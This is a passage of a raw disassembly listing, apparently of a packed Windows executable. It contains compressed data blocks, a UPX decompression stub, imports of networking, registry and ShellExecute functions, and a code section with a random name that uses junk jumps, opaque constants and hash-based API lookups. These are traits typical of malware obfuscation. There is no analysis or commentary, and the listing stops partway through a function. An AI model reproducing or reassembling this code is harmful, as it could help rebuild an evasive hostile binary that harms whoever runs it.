		dd 14643DB0h, 2E18458Fh, 69BE02h, 0C03B7F7Eh, 3DBA1836h
		dd 495C6BD3h, 0C268401Ch, 3702A158h, 1700A60Ch,	438ABECh
		dd 0FD9F4DFFh, 8B22A0EFh, 577441C8h, 104D8D53h,	0BA1C1E51h
		dd 777F97B9h, 0CBF5BEE5h, 0C5EB401Bh, 0C5935C0Fh, 0EE446A9Dh
		dd 0C96FED0Bh, 8BFC8BE0h, 654BABD7h, 0FDE2AB59h, 0DFE5FF40h
		dd 505252ECh, 0F12C7600h, 0FE582694h, 0BA5053C7h, 63DFD601h
		dd 0DE34DACBh, 53963D0Bh, 0C7627CFh, 7F91FB77h,	31568583h
		dd 46BABA07h, 9C10Ch, 0AEA7E3h,	13E66AC7h, 1BCCF81Ch, 0D20CD203h
		dd 0CCD80B7Ch, 0CD2A0ACh, 78840CD2h, 0DF14C58h,	28340CD2h
		dd 7CC070Ch, 274594F9h,	0DAEAF6CAh, 0F60FA68Ah,	80B0FFFFh
		dd 0ACBCBDBBh, 99C590B1h, 0C99ABFF1h, 86F7B191h, 0FA27A0ADh
		dd 3E5FD0EAh, 91630018h, 0A191B0A3h, 0ACDF93AAh, 9EFF63EAh
		dd 88DAB2E5h, 17B4AD9Ah, 0DBEFF5CEh, 0FFFFE6B7h, 0A9BB941Fh
		dd 0A1FAA489h, 0DA97B2BAh, 86A4A4C2h, 0B8B28BD3h, 0BCA1A084h
		dd 63C93FFFh, 0E0F0CB2Bh, 87BEA397h, 0A9BAFAA7h, 9FC29FA5h
		dd 0D9C97FE5h, 0C381BEFFh, 0C6ACB590h, 77A0B1A6h, 0BEAB8EFBh
		dd 0AAE1BA8Dh, 0B6FAFFFEh, 0DD95A3A4h, 81B2FE82h, 0BAA69BD5h
		dd 265BC79Bh, 0FB67487Bh, 0C68DA3EBh, 0B583B26Eh, 0B1A0A77Fh
		dd 0F4D88E92h, 0DCEA737Ah, 0EDFFB0EBh, 90AAAB7Fh, 0A6B1B1BCh
		dd 0F3C399ECh, 9DC281A2h, 0BC8DB7ECh, 0F178001Bh, 73621345h
		dd 0C0B00C88h, 906C0327h, 2B6A6001h, 9C45FF24h,	9D0D7589h
		dd 0FA85B6A1h, 213C8438h, 49ECF1C8h, 7F90306h, 3903C15Bh
		dd 98ADA797h, 95BCA0A9h, 0CDC8539Dh, 0B52F6h, 5A0136D0h
		dd 0B155070Eh, 98D52E78h, 70414F29h, 587372Fh, 70B66D0h
		dd 0EC2C2D52h, 4949F014h, 13E72F53h, 3847AABCh,	3A151Fh
		dd 1962654Fh, 2FC64B05h, 2A58288Dh, 8353C178h, 45302A6Eh
		dd 0ABA10CBh, 0E148E126h, 1204D2Eh, 9BB940A2h, 0B03BF67Dh
		dd 3B290D57h, 0BC222273h, 62CF1081h, 51ECB7D0h,	54A427CBh
		dd 4EF60562h, 8F5D6F50h, 2062562Ch, 0C22C2B6Ch,	0E184AD1Ch
		dd 40F75DAh, 2D65876Bh,	0EE8401C8h, 87D54E33h, 7469C080h
		dd 0B2D88B68h, 1B05E6F6h, 0C5CC6FF8h, 7D38160Bh, 95A0338Dh
		dd 91561054h, 223DACADh, 9C3A7300h, 5AB611A9h, 306C7927h
		dd 0D419661h, 0DA5B24C0h, 87A9EC1Bh, 0BC732545h, 0AAC55404h
		dd 28730936h, 83652D05h, 1B1F6585h, 59301088h, 12E96348h
		dd 0A08040D2h, 4551886Eh, 59827F8Ah, 155EAE05h,	0A2756363h
		dd 5984B6B2h, 8EAD3BB0h, 41421B39h, 2008854Bh, 2464EC1h
		dd 686D7572h, 0B096B0B1h, 8A235143h, 96300378h,	193AAEB7h
		dd 0B0C0DACBh, 0C9AF7833h, 7506C25Eh, 11D561Ah,	0DDE096Fh
		dd 41FF65D0h, 5B617B99h, 3341793Ch, 34417A36h, 0FA5FA97Fh
		dd 68456438h, 6867B566h, 0ED675247h, 6C553568h,	0A97F7644h
		dd 33D8E0h, 0D46C46B7h,	5C505846h, 1A026973h, 2E1010B0h
		dd 5600BAE0h, 7716B0F6h, 354E0B67h, 9B066300h, 0D81B0C41h
		dd 94012E30h, 25E87D4Bh, 6C4F538Dh, 8F7DC141h, 623F1843h
		dd 0D48B5870h, 11D2868h, 0C3D12D0Ch, 935C1C08h,	1E5C315Ch
		dd 1349810Bh, 25876ABBh, 2F4C901Bh, 462045E6h, 108290h
		dd 0A201C148h, 45215B25h, 0CDB172E4h, 4002A610h, 0DDAB1305h
		dd 0AFCF2156h, 253D3C50h, 3B443347h, 7038180h, 8660690Fh
		dd 0F715003h, 6DF95E2Fh, 5B000D59h, 5D5E5B25h, 61B0D90Ch
		dd 3B434BC3h, 24ECAC33h, 0DB5BC388h, 3B290ECAh,	1460CAD9h
		dd 532B6D09h, 5A6C3265h, 483041Fh, 20A22013h, 18210AFDh
		dd 45491F36h, 1D86413Ah, 6F782EACh, 5020F543h, 1830087Dh
		dd 2DDD4C00h, 0C348161Bh, 4882132Bh, 205B8136h,	1BD81C5Ch
		dd 596C895Bh, 444A0846h, 42B0B104h, 5CB44654h, 0A587E16Ch
		dd 9706072Fh, 466CE34h,	234906E7h, 56F0B887h, 3631650Bh
		dd 9F353588h, 65FD8763h, 4E534D77h, 2DF94520h, 17490Eh
		dd 0B844B2A6h, 3962B72Ch, 0F3B0B61Dh, 63393138h, 232D31C7h
		dd 1356612h, 2B1F7174h,	35F6EC2Eh, 65653765h, 4F633030h
		dd 2AB9CCD5h, 5C7CB617h, 412E054Ch, 35642702h, 452E3033h
		dd 64C731A4h, 85B7825h,	0F24615Dh, 43767B73h, 6F1E3FF1h
		dd 0D02DB15Ah, 0F3398C11h, 30496B12h, 148CB636h, 60652380h
		dd 60A90DD6h, 7456B83Eh, 0DA178204h, 2BF42175h,	4218202Bh
		dd 6E277283h, 8A483972h, 13758182h, 106D4E53h, 3550BB71h
		dd 664F8563h, 18726108h, 6D05A958h, 73681CB4h, 54BF1801h
		dd 60A16E1Eh, 57851821h, 0DB58BD13h, 7665560Eh,	96DB5805h
		dd 87648284h, 0B716A22Bh, 3C53715Ah, 0B4365C8Bh, 0B5BB2D80h
		dd 7075EA2Ch, 0DCCAC320h, 74DFA660h, 109C4B5Dh,	135CCC0Ah
		dd 6A6C4AD7h, 17909188h, 0D34CDAB7h, 38B8574h, 9028303Ch
		dd 0FB0641h, 0C14071Ch,	641C9C83h, 0ECD9F400h, 0C82F90E4h
		dd 0D80BE020h, 6C190641h, 0BCC807D0h, 90641935h, 4EA4ACB4h
		dd 34EFC9Eh, 90D99873h,	641980D9h, 747C4190h, 0B0727268h
		dd 58435C01h, 20C850D9h, 40480C83h, 0C80D838h, 1C283032h
		dd 0C83219Fh, 40C1432h,	0D9C9800Ch, 0BF407D8h, 90018200h
		dd 45E8DE4Bh, 8C433330h, 61204349h, 0CBA2C351h,	785158C3h
		dd 0D764A7A0h, 0E4E6D9Fh, 20077536h, 6C632D75h,	2B8407Bh
		dd 7BC2980h, 0B128ED32h, 13BB7973h, 8992432Dh, 0AADB7A36h
		dd 48530B3Ah, 0D639DC2Dh, 983FC689h, 6C00350Bh,	6900702Fh
		dd 8BDBE805h, 278AC566h, 0CE686C02h, 2E0761C1h,	0E8505BCCh
		dd 8A96F905h, 62D0779h,	90F344CFh, 752074B3h, 6D4597BCh
		dd 0E78BD42h, 6E48095Fh, 3D07B3D8h, 8908133Dh, 6F014836h
		dd 4F3D0F13h, 1BB6620Bh, 4D3A2015h, 0DEFA8544h,	796669FBh
		dd 4D07A350h, 0FB304133h, 700B485Eh, 0D9BE5A07h, 4F6D3B9Bh
		dd 2F705308h, 0C54AD4Ch, 49F8061Ch, 5484D64h, 26623AA6h
		dd 3EC4F7ACh, 77327548h, 0CB60E65h, 8E6C8096h, 136E7342h
		dd 8DD14C08h, 534DD367h, 28337B22h, 3089E403h, 0FB050BFEh
		dd 0B8A0BAE6h, 91C499ECh, 0FFD43B03h, 790F4CFFh, 35C08B1h
		dd 0E3F4F66Fh, 0A8C30C12h, 12FBCA1h, 18B28248h,	61C277DEh
		dd 0FDC6FF44h, 0EBF7D7E6h, 23AFF7EBh, 0B594532Eh, 0DA00CAAAh
		dd 0FF25442Ah, 0B881B1E1h, 0EBF7BDh, 0A78247FFh, 8E96622Eh
		dd 0A48BBBA7h, 0A6E6E6E7h, 84A88F9Ah, 0D356DAA2h, 0F30A2482h
		dd 0BB80B6FFh, 0B1E6A7B0h, 0FE85DE92h, 712DFBFh, 69658782h
		dd 3CAF070h, 0EE8396C1h, 0FE1652Eh, 6C45E068h, 0EE700179h
		dd 0A85145CDh, 7F2EF73h, 8A275CA3h, 0CC4D706Eh,	0DE001E58h
		dd 3A490F20h, 8A45DC8Dh, 25780525h, 4BFF3378h, 3069B81h
		dd 0B3D60FBh, 1B548FDFh, 527F8E10h, 2B6597D1h, 0AFBC19D1h
		dd 56413F2Eh, 6081AA5Fh, 655F1D03h, 60840F0h, 1F37AC36h
		dd 1A0A39A8h, 1E875FDCh, 0A9200A21h, 1051541Eh,	51B3756h
		dd 57E0C44Dh, 40476A60h, 65A88415h, 0F5408BF1h,	4C0E4DCFh
		dd 7B61636Fh, 4109ED0Fh, 444E53A5h, 0EAA90569h,	0AD638836h
		dd 446C1579h, 5B660A93h, 0E72F6E22h, 6068A325h,	4CF65D1Fh
		dd 9229BD0h, 2C0C4FA9h,	195BD142h, 77DE3B76h, 4C010D44h
		dd 61726269h, 1D4440Dh,	417B22F5h, 8B5B62C7h, 69A40F5Ah
		dd 6F430C10h, 0D97B5117h, 4C647970h, 0A1064A61h, 0DB7B378h
		dd 7E697257h, 3D9B7070h, 506876D9h, 5097688Eh, 0D97C7069h
		dd 365BD516h, 0BD38124Fh, 305B2D9Bh, 65500F20h,	0D5476B65h
		dd 641AF64Bh, 66699043h, 44326A85h, 537A9952h, 0AFA830D1h
		dd 50646E87h, 13C14EBDh, 0A03584B0h, 0C3CBC4Fh,	614339BBh
		dd 0C010164Dh, 6706529h, 60024D96h, 4A68F454h, 0E28A92C2h
		dd 5B73F657h, 62FAA621h, 6544ACC0h, 908AA210h, 8FD58584h
		dd 0E9F60D51h, 14354D4h, 0B0B06E55h, 616DFFB3h,	65695670h
		dd 0B6664F77h, 54CF0E4Dh, 18CB96E4h, 0D547C7E7h, 627A6DACh
		dd 0AF49A14Dh, 75427501h, 6241443Ch, 0A80E186Ah, 334EA053h
		dd 1503D413h, 2C680EB4h, 63F90BAAh, 1F01E46Bh, 0CFA9ED50h
		dd 6E470350h, 6BB414ECh, 75713A31h, 37681A20h, 6531A58Ch
		dd 427349D9h, 0A12D92B4h, 14E86F45h, 108C20CCh,	9DEF5EAAh
		dd 490DD7B2h, 2A55452Fh, 40C67544h, 5D6F0588h, 824C3359h
		dd 4D11BC21h, 0B2D2E265h, 630BD3C6h, 76160987h,	5A0B635Bh
		dd 6D4DD576h, 0C6615670h, 61D44730h, 0A56223D6h, 90876D91h
		dd 97A57644h, 9A71B545h, 670900EDh, 0C2ADBDC1h,	377592C3h
		dd 3F87CE0Eh, 39103602h, 6879654Bh, 78458B0Dh, 111E330Eh
		dd 0CC259B0Dh, 32B80FB6h, 0D8CB440Dh, 0E97355A3h, 0D7585266h
		dd 45627250h, 74DB6E6Dh
		dd 79AC1C14h, 526EE229h, 410F6D61h, 586CC763h, 24D9A52Bh
		dd 66B58B59h, 0C058BDB3h, 5F6114FAh, 9C15CED9h,	0F006C92Bh
		dd 2C0AF294h, 43E196B4h, 2BA87878h, 7F707F7Eh, 6A27C409h
		dd 0AE313F3Fh, 40454155h, 0E35C1358h, 2A295AB9h, 6681990Eh
		dd 0EA0CDA28h, 8C06D0Ah, 84DCD1EFh, 2482364h, 808FB106h
		dd 73766C9Bh, 2A66AB6Eh, 62D6DEF7h, 77957F6Fh, 0F910323Bh
		dd 20B37FFEh, 59403274h, 58415041h, 0D5A4049h, 7B587B33h
		dd 0D0E58AEh, 625F2547h, 316BACD7h, 0E859095Ch,	0FBB6650Fh
		dd 5F7676B6h, 11339268h, 667A690Eh, 0D8640368h,	691D069Ah
		dd 0CD96D131h, 637536C6h, 98F56E73h, 0E73A8A57h, 73070213h
		dd 0B9C30F95h, 38615B2Eh, 54736669h, 9D0EC106h,	0D50630A1h
		dd 0AC516306h, 7EAF735h, 407CA77h, 0AE75C957h, 0E235DAC5h
		dd 6325071Dh, 0CC97877Bh, 1D75B33Bh, 2C0C0720h,	3D55DEEBh
		dd 59B6946Dh, 9413742Eh, 5AE699Ch, 0EA2C801h, 0C8FFB6CDh
		dd 0BAD0120Bh, 0F44188D6h, 171A6DC4h, 0CD381D04h, 81C9D81Eh
		dd 0D3A22182h, 0BBF602C8h, 9134E8ABh, 706C4177h, 40470E05h
		dd 97AF4E63h, 4181C612h, 219177B0h, 60C52D54h, 3B496B58h
		dd 41EFBA5Eh, 4E4D08B4h, 0F48C2968h, 7B659659h,	1970204h
		dd 59651516h, 13026596h, 96170A05h, 0C965965h, 12386F33h
		dd 65965903h, 34097059h, 596D0B06h, 8106596h, 0FD117414h
		dd 0F28EDB2Ch, 49415357h, 239FF25h, 0FF210D73h,	501649E5h
		dd 3014C45h, 3901F000h,	0E91D9E46h, 0B010F97h, 820601h
		dd 67F11382h, 0E882D937h, 707C100Bh, 24B0D0Bh, 75602C4h
		dd 818A3DF6h, 10284F14h, 82C2C207h, 2766E58h, 73CB5584h
		dd 856968A0h, 70A7EC51h, 41B6F202h, 0D7DD905Fh,	4EB5FE7h
		dd 91F0158h, 722EE012h,	17802BC0h, 0FB0E4CECh, 58B7D92Bh
		dd 4002D973h, 9827262Eh, 0D3494C71h, 74608034h,	0D97C00C0h
		dd 76466830h, 1F703h, 0
		dd 12000000h, 0FFh, 0
; ---------------------------------------------------------------------------


loc_421AA0:				; CODE XREF: _7hdaygc1:loc_4286D4j
		pusha
		mov	esi, offset dword_417000
		lea	edi, [esi-16000h]
		push	edi
		or	ebp, 0FFFFFFFFh
		jmp	short loc_421AC2
; ---------------------------------------------------------------------------
		align 8


loc_421AB8:				; CODE XREF: UPX1:loc_421AC9j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi


loc_421ABE:				; CODE XREF: UPX1:00421B56j
					; UPX1:00421B6Dj
		add	ebx, ebx
		jnz	short loc_421AC9


loc_421AC2:				; CODE XREF: UPX1:00421AB0j
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_421AC9:				; CODE XREF: UPX1:00421AC0j
		jb	short loc_421AB8
		mov	eax, 1


loc_421AD0:				; CODE XREF: UPX1:00421ADFj
					; UPX1:00421AEAj
		add	ebx, ebx
		jnz	short loc_421ADB
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_421ADB:				; CODE XREF: UPX1:00421AD2j
		adc	eax, eax
		add	ebx, ebx
		jnb	short loc_421AD0
		jnz	short loc_421AEC
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_421AD0


loc_421AEC:				; CODE XREF: UPX1:00421AE1j
		xor	ecx, ecx
		sub	eax, 3
		jb	short loc_421B00
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		xor	eax, 0FFFFFFFFh
		jz	short loc_421B72
		mov	ebp, eax


loc_421B00:				; CODE XREF: UPX1:00421AF1j
		add	ebx, ebx
		jnz	short loc_421B0B
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_421B0B:				; CODE XREF: UPX1:00421B02j
		adc	ecx, ecx
		add	ebx, ebx
		jnz	short loc_421B18
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_421B18:				; CODE XREF: UPX1:00421B0Fj
		adc	ecx, ecx
		jnz	short loc_421B3C
		inc	ecx


loc_421B1D:				; CODE XREF: UPX1:00421B2Cj
					; UPX1:00421B37j
		add	ebx, ebx
		jnz	short loc_421B28
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_421B28:				; CODE XREF: UPX1:00421B1Fj
		adc	ecx, ecx
		add	ebx, ebx
		jnb	short loc_421B1D
		jnz	short loc_421B39
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_421B1D


loc_421B39:				; CODE XREF: UPX1:00421B2Ej
		add	ecx, 2


loc_421B3C:				; CODE XREF: UPX1:00421B1Aj
		cmp	ebp, 0FFFFF300h
		adc	ecx, 1
		lea	edx, [edi+ebp]
		cmp	ebp, 0FFFFFFFCh
		jbe	short loc_421B5C


loc_421B4D:				; CODE XREF: UPX1:00421B54j
		mov	al, [edx]
		inc	edx
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_421B4D
		jmp	loc_421ABE
; ---------------------------------------------------------------------------
		align 4


loc_421B5C:				; CODE XREF: UPX1:00421B4Bj
					; UPX1:00421B69j
		mov	eax, [edx]
		add	edx, 4
		mov	[edi], eax
		add	edi, 4
		sub	ecx, 4
		ja	short loc_421B5C
		add	edi, ecx
		jmp	loc_421ABE
; ---------------------------------------------------------------------------


loc_421B72:				; CODE XREF: UPX1:00421AFCj
		pop	esi
		mov	edi, esi
		mov	ecx, 9C1h


loc_421B7A:				; CODE XREF: UPX1:00421B81j
					; UPX1:00421B86j
		mov	al, [edi]
		inc	edi
		sub	al, 0E8h


loc_421B7F:				; CODE XREF: UPX1:00421BA4j
		cmp	al, 1
		ja	short loc_421B7A
		cmp	byte ptr [edi],	6
		jnz	short loc_421B7A
		mov	eax, [edi]
		mov	bl, [edi+4]
		shr	ax, 8
		rol	eax, 10h
		xchg	al, ah
		sub	eax, edi
		sub	bl, 0E8h
		add	eax, esi
		mov	[edi], eax
		add	edi, 5
		mov	eax, ebx
		loop	loc_421B7F
		lea	edi, [esi+1F000h]


loc_421BAC:				; CODE XREF: UPX1:00421BCEj
		mov	eax, [edi]
		or	eax, eax
		jz	short loc_421BF7
		mov	ebx, [edi+4]
		lea	eax, [eax+esi+21000h]
		add	ebx, esi
		push	eax
		add	edi, 8
		call	dword ptr [esi+210A0h]
		xchg	eax, ebp


loc_421BC9:				; CODE XREF: UPX1:00421BEFj
		mov	al, [edi]
		inc	edi
		or	al, al
		jz	short loc_421BAC
		mov	ecx, edi
		jns	short near ptr loc_421BDA+1
		movzx	eax, word ptr [edi]
		inc	edi
		push	eax
		inc	edi


loc_421BDA:				; CODE XREF: UPX1:00421BD2j
		mov	ecx, 0AEF24857h
		push	ebp
		call	dword ptr [esi+210A4h]
		or	eax, eax
		jz	short loc_421BF1
		mov	[ebx], eax
		add	ebx, 4
		jmp	short loc_421BC9
; ---------------------------------------------------------------------------


loc_421BF1:				; CODE XREF: UPX1:00421BE8j
		call	dword ptr [esi+210A8h]


loc_421BF7:				; CODE XREF: UPX1:00421BB0j
		popa
		jmp	loc_4167F1
; ---------------------------------------------------------------------------
		align 800h
UPX1		ends

; Section 3. (virtual address 00022000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00022000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
UPX2		segment	para public 'DATA' use32
		assume cs:UPX2
		;org 422000h
dword_422000	dd 3 dup(0)						; sub_43DFAB+9o
		dd 220E0h, 220A0h, 3 dup(0)
		dd 220EDh, 220B0h, 3 dup(0)
		dd 220FAh, 220B8h, 3 dup(0)
		dd 22105h, 220C0h, 3 dup(0)
		dd 22112h, 220C8h, 3 dup(0)
		dd 2211Eh, 220D0h, 3 dup(0)
		dd 22129h, 220D8h, 5 dup(0)
		dd 7C801D77h, 7C80ADA0h, 7C81CDDAh, 0
		dd 77DD6BF0h, 0
		dd 77C50290h, 0
		dd 7712A63Fh, 0
		dd 7CA41110h, 0
aNia		db 'A~',0
		align 4
aIlq		db 'ӈq',0
		align 10h
aKernel32_dll_0	db 'KERNEL32.DLL',0
aAdvapi32_dll	db 'ADVAPI32.dll',0
aMsvcrt_dll	db 'MSVCRT.dll',0
aOleaut32_dll	db 'OLEAUT32.dll',0
aShell32_dll	db 'SHELL32.dll',0
aUser32_dll	db 'USER32.dll',0
aWs2_32_dll_0	db 'WS2_32.dll',0
		dd 6F4C0000h, 694C6461h, 72617262h, 4179h, 50746547h, 41636F72h
		dd 65726464h, 7373h, 74697845h,	636F7250h, 737365h, 65520000h
		dd 6F6C4367h, 654B6573h, 79h, 6C696563h, 68530000h, 456C6C65h
		dd 75636578h, 416574h, 73770000h, 6E697270h, 416674h, 39Ch dup(0)
UPX2		ends

; ---------------------------------------------------------------------------
; Section 4. (virtual address 00023000)
; Virtual size			: 0000D000 (  53248.)
; Section size in file		: 0000D000 (  53248.)
; Offset to raw	data for section: 00023000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_7hdaygc1	segment	para public 'CODE' use32
		assume cs:_7hdaygc1
		;org 423000h
; START	OF FUNCTION CHUNK FOR sub_42A833
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing


loc_423000:				; CODE XREF: sub_42A833-4791j
		and	eax, esi
		sbb	ecx, esi


loc_423004:				; CODE XREF: sub_42A833:loc_42C938j
		call	sub_42D757
		mov	edx, 2C4AC9D1h
		jmp	loc_42B1D4
; END OF FUNCTION CHUNK	FOR sub_42A833
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B74A


loc_423013:				; CODE XREF: sub_42B74A:loc_426484j
		jnz	loc_4244D7
		jmp	loc_428E37
; END OF FUNCTION CHUNK	FOR sub_42B74A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425F27


loc_42301E:				; CODE XREF: sub_425F27+4j
		add	eax, 135AAEF4h
		push	eax
		call	sub_429B49
		mov	ds:dword_42B9B8, eax
		cmp	ds:dword_42B9B8, 0


loc_423036:				; CODE XREF: sub_42F05E:loc_4273C2j
		jnz	loc_42DC3B
		jmp	loc_429ED5
; END OF FUNCTION CHUNK	FOR sub_425F27
; ---------------------------------------------------------------------------
		cdq
		jmp	loc_428992
; ---------------------------------------------------------------------------


loc_423047:				; CODE XREF: _7hdaygc1:004267FDj
		mov	ecx, 9452920Ch
		shl	ebx, 0Fh
		test	ebx, eax
		jmp	loc_42DEF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42821A


loc_423056:				; CODE XREF: sub_42821A:loc_42E1ADj
		xchg	ebp, ebx
		sub	ecx, eax
; END OF FUNCTION CHUNK	FOR sub_42821A
; START	OF FUNCTION CHUNK FOR sub_429318


loc_42305A:				; CODE XREF: sub_429318+2D64j
		mov	ebp, 0E8146ABh
		test	ecx, esi
		jmp	loc_4254E6
; END OF FUNCTION CHUNK	FOR sub_429318
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_17. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A39


loc_423067:				; CODE XREF: sub_426A39+4128j
		jmp	nullsub_65
; END OF FUNCTION CHUNK	FOR sub_426A39
; ---------------------------------------------------------------------------
		or	ebp, 7876A79Bh
		jmp	sub_42CCDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42512A


loc_423077:				; CODE XREF: sub_42512A:loc_42744Bj
		jge	loc_42B280
; END OF FUNCTION CHUNK	FOR sub_42512A
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_42307D:				; CODE XREF: sub_42C16F-ABFj
		jmp	loc_428E85
; END OF FUNCTION CHUNK	FOR sub_42C16F
; ---------------------------------------------------------------------------
		pop	eax
		mov	ebx, edx
		popf
		jmp	loc_42B280
; ---------------------------------------------------------------------------


loc_42308B:				; CODE XREF: _7hdaygc1:0042A202j
		mov	ecx, 107CA6D2h
		adc	edi, ebp


loc_423092:				; CODE XREF: _7hdaygc1:loc_42A1EAj
		xor	ebx, 337A383Dh
		add	ebx, 0BF81FE58h
		jmp	loc_42F7F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ED2A


loc_4230A3:				; CODE XREF: sub_42ED2A:loc_42A9DBj
					; sub_42ED2A+Dj
		call	sub_429B3E
		mov	[ebp-0Ah], al


loc_4230AB:				; CODE XREF: sub_429B36+3j
		jno	loc_42A65D
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0
		jnz	loc_42583E
		jmp	loc_42A644
; END OF FUNCTION CHUNK	FOR sub_42ED2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_4230C2:				; CODE XREF: sub_4291EA-2724j
		jz	loc_425954
		jmp	loc_4293D4
; END OF FUNCTION CHUNK	FOR sub_4291EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D9E1


loc_4230CD:				; CODE XREF: sub_42D9E1+Cj
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		xchg	esi, [esp+8+var_8]
		mov	esp, ebp
		xchg	eax, [esp+4+var_4]
		jmp	loc_42FBC1
; END OF FUNCTION CHUNK	FOR sub_42D9E1
; ---------------------------------------------------------------------------


loc_4230DF:				; CODE XREF: _7hdaygc1:loc_42A1F0j
		push	ebx
		push	934B27F9h
		pop	ebx
		sub	ebx, 8F4A1B44h
		and	ebx, 151F97C8h
		cmp	ebx, 6B51A738h
		jmp	loc_42E5E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AB9F


loc_4230FD:				; CODE XREF: sub_42AB9F:loc_42392Ej
		xor	[esi], edx
		jmp	loc_42E845
; END OF FUNCTION CHUNK	FOR sub_42AB9F
; ---------------------------------------------------------------------------


loc_423104:				; CODE XREF: _7hdaygc1:0042B65Cj
		mov	eax, 1
		xor	edx, edx
		cpuid
		call	sub_4232C2
		ja	loc_425271
		jmp	sub_423D6F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_122. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423F02


loc_42311E:				; CODE XREF: sub_423F02+948Dj
		jmp	loc_42CE6C
; END OF FUNCTION CHUNK	FOR sub_423F02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BAE7


loc_423123:				; CODE XREF: sub_42BAE7+16A2j
		jnz	loc_429D36


loc_423129:				; CODE XREF: sub_42A2EF+1854j
		jmp	sub_42C1AF
; END OF FUNCTION CHUNK	FOR sub_42BAE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425C3B


loc_42312E:				; CODE XREF: sub_42348E+Dj
		jmp	sub_42A94C
; END OF FUNCTION CHUNK	FOR sub_425C3B
; ---------------------------------------------------------------------------
		pop	edi
		jmp	loc_4266A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423F02


loc_423139:				; CODE XREF: sub_423F02:loc_42B111j
		jnz	loc_423B92
		jmp	loc_42D389
; END OF FUNCTION CHUNK	FOR sub_423F02

; =============== S U B	R O U T	I N E =======================================



sub_423144	proc near		; DATA XREF: sub_42E32F-4DA4o
		mov	edx, 0A22F8A70h
		call	sub_42C763
		mov	ds:dword_427C84, eax
		call	sub_42D757
		mov	edx, 0A2CD59D9h
		call	sub_42C763
		mov	ds:dword_423B1C, eax
		retn
sub_423144	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425F27


loc_423168:				; CODE XREF: sub_425F27+3FB4j
		jmp	loc_42A3D5
; END OF FUNCTION CHUNK	FOR sub_425F27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4237DA


loc_42316D:				; CODE XREF: sub_4237DA+1j
		jmp	loc_42A858
; END OF FUNCTION CHUNK	FOR sub_4237DA

; =============== S U B	R O U T	I N E =======================================



sub_423172	proc near		; CODE XREF: _7hdaygc1:004237E8j
					; sub_42FB6E+6p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 00423214 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042368B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004239F7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00424C01 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00424C8B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00424E4D SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00425C8D SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00425F3A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00425FB4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042623D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004263D7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426493 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 004265A0 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 004265E8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00426B80 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004270B8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004272BE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00427450 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004283F4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428571 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004289A1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428D52 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429093 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042965F SIZE 00000005 BYTES
